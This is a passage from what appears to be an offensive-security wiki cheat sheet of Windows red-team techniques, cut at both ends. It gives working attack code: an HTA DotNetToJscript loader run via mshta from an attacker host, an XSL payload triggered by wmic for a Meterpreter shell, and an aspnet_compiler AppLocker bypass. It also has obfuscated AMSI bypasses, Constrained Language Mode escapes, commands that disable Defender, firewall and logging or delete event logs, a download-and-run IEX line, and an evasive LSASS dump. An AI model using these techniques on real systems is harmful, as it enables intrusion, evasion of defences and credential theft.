    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
This technique abuses &#039;&#039;&#039;aspnet_compiler.exe&#039;&#039;&#039;. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls. &lt;br /&gt;
&lt;br /&gt;
The full path for the binary is: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aspnet_compiler.exe&amp;lt;/code&amp;gt; is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.&lt;br /&gt;
&lt;br /&gt;
To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
asptest\&lt;br /&gt;
├── web.config&lt;br /&gt;
├── App_Code\&lt;br /&gt;
│   └── habssuck.wtf        &amp;lt;- this is the trigger file. the extenion is arbitrary.&lt;br /&gt;
└── bin\&lt;br /&gt;
    └── BringYourOwnBuilder.dll   &amp;lt;- this is your malicious dll &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;web.config&amp;lt;/code&amp;gt; file maps a custom extension to the malicous DLL class. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;configuration&amp;gt;&lt;br /&gt;
  &amp;lt;system.web&amp;gt;&lt;br /&gt;
    &amp;lt;compilation&amp;gt;&lt;br /&gt;
      &amp;lt;buildProviders&amp;gt;&lt;br /&gt;
        &amp;lt;add extension=&amp;quot;.wtf&amp;quot; type=&amp;quot;BringYourOwnBuilder.BringYourOwnBuilder&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/buildProviders&amp;gt;&lt;br /&gt;
    &amp;lt;/compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/system.web&amp;gt;&lt;br /&gt;
&amp;lt;/configuration&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
